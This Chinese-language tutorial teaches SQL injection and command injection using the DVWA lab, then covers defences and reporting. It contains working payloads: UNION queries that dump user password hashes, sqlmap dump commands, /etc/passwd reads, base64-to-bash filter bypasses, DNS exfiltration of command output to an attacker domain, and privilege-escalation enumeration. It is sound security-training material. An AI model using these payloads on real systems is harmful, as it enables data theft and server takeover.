Web安全入门实战：从零挖掘SQL注入与命令注入漏洞

1. 项目概述：从零到一的漏洞挖掘实战

如果你对网络安全感兴趣，或者是一名正在学习渗透测试的开发者，那么“SQL注入”和“命令注入”这两个词你一定不陌生。它们就像是Web安全世界里的“敲门砖”，是理解攻击者如何利用应用程序缺陷的绝佳起点。我见过太多新手一上来就想搞复杂的漏洞利用链，结果在基础问题上栽了跟头。今天，我们就来实实在在地敲开这扇大门，不谈空泛的理论，直接上手实战，从零开始，一步步带你理解并亲手挖掘这两种经典的Web漏洞。

简单来说，SQL注入就是攻击者通过在Web应用的输入点（比如登录框、搜索框）插入恶意的SQL代码，欺骗后端数据库执行非预期的操作，从而窃取、篡改甚至删除数据。而命令注入则是更进一步，攻击者试图在Web应用中注入系统命令，让服务器执行，这可能导致服务器被完全控制。这两个漏洞之所以经典且危险，根源在于开发者过于信任用户的输入，没有进行严格的过滤和校验。我们的实战目标，就是学会如何像攻击者一样思考，发现这些漏洞，并最终理解如何防御它们。无论你是安全爱好者、运维人员还是希望写出更安全代码的开发者，这篇实战指南都将为你提供清晰的路径和可复现的操作步骤。

2. 环境搭建与靶场选择：打造专属的“安全实验室”

在真正动手挖掘漏洞之前，一个安全、合法的练习环境是必不可少的。我们绝不能在任何未经授权的真实网站上进行测试，那是违法行为。因此，搭建一个本地靶场是我们的第一步。靶场就是一个故意留有漏洞的Web应用，专供我们学习和练习。

2.1 主流靶场工具选型解析

市面上有多个优秀的开源靶场，选择哪个取决于你的学习阶段和目标。

DVWA (Damn Vulnerable Web Application)：这是绝大多数人的入门首选。它的优点在于极其简单，部署方便，并且将漏洞难度分为“Low”、“Medium”、“High”、“Impossible”四个等级。你可以从“Low”级别开始，直观地看到漏洞是如何产生的（因为代码几乎没有任何防护），然后逐步挑战更高级别，观察不同防护手段的效果。对于SQL注入和命令注入，DVWA都提供了非常清晰的练习场景。

Pikachu：这是一个国产的漏洞练习平台，由国内安全团队开发。它的特点是非常“接地气”，包含了大量国内Web应用中常见的漏洞场景，并且每个漏洞都有详细的中文介绍和提示。如果你对英文文档感到吃力，或者想了解更符合国内开发习惯的漏洞案例，Pikachu是绝佳选择。它的SQL注入关卡设计得很有层次，从数字型、字符型到搜索型注入，循序渐进。

Sqli-Labs：如果你希望专注于SQL注入的深度挖掘，那么这个靶场是不二之选。它提供了数十个关卡，专门训练各种SQL注入技巧，包括联合查询注入、报错注入、布尔盲注、时间盲注等。通过这个靶场，你可以系统地掌握SQL注入的所有主流攻击手法。

对于本次从零开始的实战，我推荐使用DVWA或Pikachu。它们环境搭建简单，界面友好，更适合建立初步的感性认识。下面我将以DVWA为例，演示搭建过程。

2.2 基于Docker的一键式环境部署

手动配置PHP、MySQL、Apache环境对于新手可能有些繁琐。这里我推荐使用Docker，它可以让你在几分钟内就获得一个完整的、可复现的靶场环境。

首先，确保你的机器上已经安装了Docker和Docker Compose。然后，创建一个名为docker-compose.yml的文件，内容如下：

version: '3' services: dvwa: image: vulnerables/web-dvwa ports: - "8080:80" environment: - PHPIDS_ENABLE=0 # 可选，禁用PHPIDS以简化初始学习

保存文件后，在该文件所在目录打开终端，执行一条命令：

docker-compose up -d

等待镜像拉取和容器启动。完成后，在浏览器中访问http://localhost:8080，你将看到DVWA的安装引导页面。按照页面提示，点击“Create / Reset Database”按钮，DVWA会自动初始化数据库。默认的登录账号是admin，密码是password。

注意：使用Docker部署时，靶场的数据（如你的练习进度）是保存在容器内的。如果你删除了容器，这些数据会丢失。如果希望持久化保存，可以查阅Docker卷（Volume）的配置方法，将数据库数据挂载到宿主机。

实操心得：在初次搭建时，很多人会遇到数据库连接失败的问题。这通常是因为容器内的MySQL服务尚未完全启动。一个实用的技巧是，在执行docker-compose up -d后，使用docker logs [容器名]命令查看容器日志，确认MySQL的初始化是否完成。看到“MySQL init process done. Ready for start up.”类似的日志后，再访问网页进行数据库初始化操作会更稳妥。

3. SQL注入漏洞深度挖掘实战

环境准备好了，现在我们正式进入SQL注入的实战环节。我会带你从最简单的漏洞识别开始，逐步深入到手工利用，最后介绍自动化工具。

3.1 漏洞原理与初步探测

我们以DVWA的SQL注入（SQL Injection）模块为例。将安全级别设置为“Low”，这代表应用程序对用户输入没有任何过滤。

核心原理：假设后端处理用户ID查询的PHP代码是这样的：

$id = $_GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

当你输入1时，执行的SQL是：SELECT ... WHERE user_id = '1'，这很正常。 但如果你输入1' OR '1'='1，拼接后的SQL就变成了：

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'

WHERE后面的条件变成了“user_id等于1”或者“1等于1”。而“1=1”是一个永真条件，这意味着整个WHERE子句永远为真。因此，这条语句可能会返回users表中的所有数据，而不仅仅是ID为1的用户信息。

手动探测步骤：

1. 数字型注入探测：在输入框输入一个数字，如1，查看正常回显。
2. 引入单引号：输入1‘。如果页面返回数据库错误（如“You have an error in your SQL syntax”），这强烈暗示存在SQL注入漏洞，因为我们的单引号破坏了原SQL语句的语法。
3. 逻辑测试：输入1‘ AND ‘1’=‘1和1‘ AND ‘1’=‘2。前者条件为真，应返回与1相同的结果；后者条件为假，应不返回数据或返回空。如果两者结果不同，则进一步确认漏洞存在。
4. 注释符测试：在输入后使用SQL注释符（--或#）来注释掉原查询的后半部分。例如输入1‘ --，如果页面正常返回，说明我们成功“逃逸”出了原查询的字符串边界。

在DVWA Low级别下，你会发现这些测试几乎都会成功。这就是最典型的、基于错误回显的字符型SQL注入漏洞。

3.2 手工注入：信息获取与数据提取

探测到漏洞后，我们的目标不再是简单地“搞破坏”，而是系统地获取数据库信息。这个过程就像侦探破案，一步步搜集线索。

第一步：判断字段数（ORDER BY）我们需要知道当前查询的SELECT语句到底选取了多少个字段，以便后续进行联合查询（UNION）。 使用ORDER BY子句，它根据第N个字段进行排序。我们不断递增N，直到页面报错。 输入：1‘ ORDER BY 1 --，页面正常。 输入：1‘ ORDER BY 2 --，页面正常。 输入：1‘ ORDER BY 3 --，页面报错。 这说明原查询只选择了2个字段。这和我们之前在页面上看到显示“名”（first_name）和“姓”（last_name）是吻合的。

第二步：寻找可显示数据的字段（UNION SELECT）UNION操作符可以将两个SELECT语句的结果合并。但前提是两个SELECT语句的列数必须相同。我们已经知道是2列。 现在，我们需要找出在页面回显中，哪一列（或哪几列）的数据会被展示出来。我们注入一个与原查询列数相同的UNION SELECT，并让每列显示一个容易识别的数字或字符串。 输入：1‘ UNION SELECT 1,2 --观察页面。原本显示“名”和“姓”的地方，可能会变成数字“1”和“2”。假设“姓”的位置显示了“2”，这说明第二个字段（last_name的位置）的内容会被回显到页面上。这个位置就是我们后续注入查询、并让结果展示出来的“输出点”。

第三步：获取数据库信息现在，我们可以利用这个“输出点”来查询数据库的元信息了。MySQL中，有一些内置的“函数”和“变量”可以帮我们：

• database(): 返回当前数据库名。
• user(): 返回当前数据库用户。
• version(): 返回数据库版本。 我们将这些函数放在UNION SELECT的“输出点”列进行查询。 输入：1‘ UNION SELECT 1, database() --页面在“姓”的位置，可能就会显示当前数据库的名字，比如dvwa。 输入：1‘ UNION SELECT 1, user() --可能会显示root@localhost，这意味着数据库用户权限很高，危险系数更大。

第四步：枚举表名和列名在MySQL 5.0及以上版本，数据库的元数据（如表名、列名）存储在名为information_schema的数据库中。其中有两个关键表：

• information_schema.tables: 存储所有表的信息。
• information_schema.columns: 存储所有列的信息。 我们的目标是先找出dvwa数据库中有哪些表，特别是可能包含敏感信息的表，如users。 输入：1‘ UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=‘dvwa’ --这条语句会列出dvwa数据库中的所有表名。你可能会看到users,guestbook等。我们关注users表。 接下来，找出users表有哪些列： 输入：1‘ UNION SELECT 1, column_name FROM information_schema.columns WHERE table_schema=‘dvwa’ AND table_name=‘users’ --这会列出users表的所有列，你可能会看到user_id,first_name,last_name,user,password,avatar等。user和password显然是我们最感兴趣的。

第五步：最终数据提取知道了表名和列名，我们就可以直接查询敏感数据了。 输入：1‘ UNION SELECT user, password FROM users --这样，我们就能在页面上直接看到所有用户的用户名和密码哈希值（通常是MD5）。至此，一次完整的手工SQL注入攻击就完成了。

注意：在实际更复杂的注入中，可能会遇到过滤空格、引号被转义、无错误回显（盲注）等情况。这就需要更高级的技巧，如使用/**/代替空格、使用十六进制编码字符串、基于布尔或时间的盲注等。这些可以在Sqli-Labs靶场中进行专项训练。

3.3 自动化工具Sqlmap的辅助利用

手工注入能让你深刻理解原理，但在效率上无法与自动化工具相比。sqlmap是开源社区最强大的SQL注入自动化检测和利用工具。它能够自动识别注入点、数据库类型，并执行从数据枚举到文件读写、甚至获取系统shell的复杂操作。

基础使用示例：假设DVWA的SQL注入页面URL是http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#，并且我们已经登录，拥有有效的Cookie。 我们可以使用如下命令进行初步测试：

sqlmap -u “http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=你的会话ID; security=low”

参数解释：

• -u: 指定目标URL。
• --cookie: 提供你的会话Cookie，因为DVWA需要登录后才能访问漏洞页面。

执行后，sqlmap会询问你是否要跳过其他类型参数的测试、是否要使用Level/风险等级等，初学者可以按回车选择默认。sqlmap会自动进行探测，并告诉你是否存在注入点、是什么数据库类型（如MySQL）。

进阶利用：一旦确认注入点，你可以命令sqlmap做更多事：

• --dbs: 枚举所有数据库。
• -D dvwa --tables: 枚举dvwa数据库的所有表。
• -D dvwa -T users --columns: 枚举users表的所有列。
• -D dvwa -T users -C user,password --dump: 直接导出users表中user和password列的所有数据。

实操心得：虽然sqlmap很强大，但绝不能把它当作“黑箱”工具。我建议的流程是：先用手工方法理解漏洞原理和利用链，再用sqlmap进行验证和快速利用。同时，在测试时务必使用--batch（批处理模式，自动选择默认选项）和--risk/--level参数控制测试深度，避免对靶场造成意外破坏。最重要的是，永远不要在未经授权的目标上使用它。

4. 命令注入漏洞实战剖析

命令注入（Command Injection）的危害性通常比SQL注入更大，因为它直接威胁服务器操作系统。其原理与SQL注入类似：应用程序将用户输入未经验证地拼接到了系统命令中。

4.1 漏洞原理与基础利用

我们切换到DVWA的“Command Execution”模块，安全级别仍为“Low”。这个模块模拟了一个简单的ping功能，输入IP地址，服务器会执行ping <你的输入>命令。

后端代码可能如下：

$target = $_POST[‘ip’]; $cmd = shell_exec(“ping -c 4 “ . $target);

正常输入127.0.0.1，服务器执行ping -c 4 127.0.0.1。 但如果输入127.0.0.1; whoami，拼接后的命令就变成了：

ping -c 4 127.0.0.1; whoami

在Linux/Unix中，分号;是命令分隔符。这意味着系统会先执行ping命令，然后执行whoami命令（显示当前系统用户名）。如果页面上除了ping结果外，还显示了你的系统用户名（如www-data），那么命令注入漏洞就存在了。

常用的命令连接符：

• ;: 顺序执行，前一个命令失败不影响后一个。
• &: 后台执行，前一个命令失败不影响后一个。
• &&: 逻辑与，只有前一个命令成功（返回0）才执行后一个。
• ||: 逻辑或，只有前一个命令失败（返回非0）才执行后一个。
• |: 管道符，将前一个命令的输出作为后一个命令的输入。
• \n(换行符)：在某些上下文中也能起到命令分隔的作用。

在DVWA Low级别下，尝试输入127.0.0.1 && ls -la，你很可能看到当前目录的文件列表被显示出来。

4.2 绕过技巧与权限提升尝试

在实际漏洞挖掘中，应用程序往往会有一些基础的防护，比如过滤空格、分号等危险字符。这就需要我们掌握一些绕过技巧。

1. 空格绕过：

• 使用制表符%09(URL编码) 或<、>重定向符号代替。例如：127.0.0.1&&cat</etc/passwd。
• 使用内部变量${IFS}（Internal Field Separator，内部域分隔符，默认是空格）。例如：127.0.0.1&&cat${IFS}/etc/passwd。

2. 命令分隔符绕过：如果分号;被过滤，可以尝试：

• 使用换行符%0a。
• 使用%0d(回车符)。
• 使用条件执行符&&或||，这取决于我们能否控制前一个命令的成功与否。

3. 黑名单关键字绕过：如果cat、ls等命令被过滤，可以尝试：

• 使用变量拼接：a=c;b=at; $a$b /etc/passwd。
• 使用通配符：c\at /etc/passwd(反斜杠转义)、c’a’t /etc/passwd(单引号分割)。
• 使用其他命令代替：用more、less、head、tail、nl代替cat。用dir代替ls（如果在Windows服务器上）。
• 编码绕过：将命令进行Base64编码。例如：echo “Y2F0IC9ldGMvcGFzc3dk” | base64 -d | bash，这会在服务器上解码并执行cat /etc/passwd。

4. 无回显命令注入（盲注）：有时命令执行了，但结果不会显示在页面上。这时我们需要通过其他方式判断命令是否执行以及获取结果。

• 时间延迟：使用sleep命令。127.0.0.1 && sleep 5，如果页面响应延迟了5秒，说明命令执行成功。
• DNS外带数据：这是更高级的技巧。利用ping或curl命令将数据发送到我们控制的DNS服务器。例如：127.0.0.1 && ping -c 1whoami.your-domain.com。命令执行的结果whoami会作为子域名的一部分发出DNS查询，我们在自己的DNS日志中就能看到这个结果。

权限提升的尝试：如果注入成功，但当前用户权限很低（如www-data），我们可以尝试寻找提权机会。

• 输入127.0.0.1 && sudo -l，查看当前用户可以用sudo免密执行哪些命令。如果发现某个命令可以以root身份运行，就可能找到提权路径。
• 输入127.0.0.1 && find / -perm -4000 -type f 2>/dev/null，查找系统中设置了SUID位的文件。这些文件在执行时会以文件所有者的权限运行，如果所有者是root且文件本身存在漏洞，就可能用于提权。

注意：在靶场中可以进行这些尝试，但在真实授权测试中，权限提升操作必须极其谨慎，并严格遵守测试范围协议，避免对系统稳定性造成影响。

5. 防御策略与安全编程思维

挖漏洞的最终目的，是为了更好地防御。理解了攻击原理，我们就能从开发源头堵住这些漏洞。

5.1 SQL注入防御方案

防御的核心原则是：永远不要信任用户输入，将代码与数据分离。

1. 使用参数化查询（预编译语句）：这是最有效、最根本的防御手段。它让数据库提前区分“代码”（SQL语句结构）和“数据”（用户输入）。

• PHP (PDO)：

  $stmt = $pdo->prepare(“SELECT * FROM users WHERE id = :id”); $stmt->execute([‘id’ => $userInput]);

• PHP (MySQLi)：

  $stmt = $conn->prepare(“SELECT * FROM users WHERE id = ?”); $stmt->bind_param(“i”, $userInput); // ‘i’ 表示整数类型 $stmt->execute();

• Java (JDBC)：

  PreparedStatement stmt = conn.prepareStatement(“SELECT * FROM users WHERE id = ?”); stmt.setInt(1, userInput);

参数化查询能确保用户输入的内容永远只被当作“数据”来处理，而不会成为“代码”的一部分，从而彻底杜绝SQL注入。

2. 输入验证与过滤：作为辅助手段，对输入进行严格的“白名单”验证。例如，如果ID应该是数字，就用is_numeric()或intval()函数进行强制转换。

$id = intval($_GET[‘id’]); // 非数字输入会被转为0

对于字符串，定义明确的允许字符集（如只允许字母、数字、下划线），拒绝其他任何字符。

3. 最小权限原则：为Web应用连接数据库的账户分配最小的必要权限。通常，只授予其SELECT、INSERT、UPDATE、DELETE等业务必需权限，绝不授予DROP、CREATE DATABASE、FILE等高级权限。这样即使发生注入，损害也能被限制在可控范围内。

4. 避免详细的错误回显：在生产环境中，禁止将数据库的原始错误信息直接显示给用户。这会给攻击者提供调试信息。应使用自定义的通用错误页面。

5.2 命令注入防御方案

防御命令注入的核心是：避免将用户输入直接拼接到系统命令中。

1. 使用安全的API代替命令执行：如果能用编程语言内置的函数完成，就绝对不用系统命令。

• 需要执行ping？使用PHP的fsockopen()或专门的网络库来模拟，而不是shell_exec(“ping $target”)。
• 需要文件操作？使用PHP的file_get_contents()、fopen()等，而不是cat $file。

2. 必须执行命令时，进行严格过滤和转义：如果确实需要执行系统命令（如调用特定外部工具），必须：

• 白名单验证：对用户输入进行严格的白名单检查。例如，对于ping功能，只允许输入符合IP地址格式或主机名格式的字符串。可以使用正则表达式进行匹配。
• 转义shell元字符：使用专门的函数对输入进行转义。在PHP中，可以使用escapeshellarg()或escapeshellcmd()。

  $target = $_POST[‘ip’]; // escapeshellarg 会给参数加上单引号，并转义其中的单引号 $safe_target = escapeshellarg($target); $cmd = “ping -c 4 “ . $safe_target; // 即使用户输入 `127.0.0.1; whoami`，命令也会变成 `ping -c 4 ‘127.0.0.1; whoami’`，整个字符串被当作一个参数，无法分割命令。

3. 降低执行权限：以低权限用户（如www-data、nobody）运行Web服务器进程，并配置好系统的权限控制（如SELinux、AppArmor），限制该用户能访问的文件和系统资源。

4. 避免动态构造命令：尽量不要根据用户输入来动态选择要执行的命令或参数。如果必须如此，应使用“命令-参数”的映射表，只允许用户从预定义的几个选项中选择。

6. 从靶场到实战的思维转变

在靶场里，我们知道漏洞肯定存在，目标明确。但真实世界的漏洞挖掘是“大海捞针”，需要一套系统性的方法。

1. 信息收集是第一步：在测试一个Web应用前，先尽可能多地收集信息：

• 技术栈识别：使用Wappalyzer等浏览器插件或whatweb、nikto等工具，识别网站使用的编程语言（PHP/Java/Python）、框架（Laravel/Spring/Django）、服务器（Nginx/Apache）、数据库（MySQL/PostgreSQL）等。不同的技术栈，常见的漏洞点和利用方式不同。
• 目录与文件枚举：使用gobuster、dirsearch等工具扫描网站的目录和文件，寻找后台登录入口、备份文件（如.bak、.sql）、配置文件（如config.php）、版本控制文件（如.git/）等。这些地方常常泄露敏感信息或源代码。
• 子域名发现：使用subfinder、amass等工具寻找目标的所有子域名。测试范围可能因此扩大很多倍。

2. 手动测试与工具扫描结合：

• 自动化扫描：使用Burp Suite、OWASP ZAP的主动扫描功能，或Nessus、OpenVAS等漏洞扫描器，进行第一轮广谱扫描。它们能快速发现一些明显的、已知的漏洞。
• 重点手动测试：自动化工具不是万能的，尤其是对于逻辑漏洞和新型漏洞。必须对关键功能点进行手动测试：
  • 所有用户输入点：每个输入框、URL参数、HTTP头（如Cookie、User-Agent）、文件上传点，都要尝试注入测试。
  • 业务逻辑关键路径：如登录、注册、密码找回、支付、权限变更等流程，仔细分析其逻辑是否存在缺陷（如绕过验证、水平越权、垂直越权）。

3. 漏洞验证与影响评估：发现一个可能的漏洞点后，不要急于报告。要进行充分的验证，并评估其真实影响。

• 是否是误报？自动化工具经常产生误报。你需要手动复现漏洞，证明其确实存在且可利用。
• 漏洞的严重程度？这个漏洞能读取到什么数据？能影响到多少用户？能否获取服务器权限？结合业务重要性来评估风险等级。
• 漏洞利用的条件？是否需要认证？是否需要特定用户角色？利用过程是否复杂？

4. 报告编写：一份好的漏洞报告是沟通的桥梁。它应该清晰、专业、客观。

• 标题：简明扼要，如“[SQL注入] 在XXX参数处导致用户数据泄露”。
• 漏洞详情：包括目标URL、受影响的参数、请求包/响应包截图、重现步骤（Step-by-Step）。
• 漏洞原理：简要分析漏洞产生的原因。
• 影响证明：提供漏洞利用成功的证据，如读取到的数据库信息截图。注意：只读取证明漏洞存在的最小必要信息，切勿窃取或破坏真实数据。
• 修复建议：给出具体、可操作的修复方案，如“使用参数化查询”、“对输入进行白名单验证”等。

我个人在实战中最深的体会是，耐心和细心往往比掌握多少炫技的Payload更重要。一个不起眼的参数，一次看似正常的请求，背后可能就隐藏着漏洞。养成对每一个用户输入点都保持怀疑和测试的习惯，是安全从业者的基本素养。最后，请永远记住：技术是用来建设和保护的，在法律和道德的框架内使用你的技能，才能走得更远。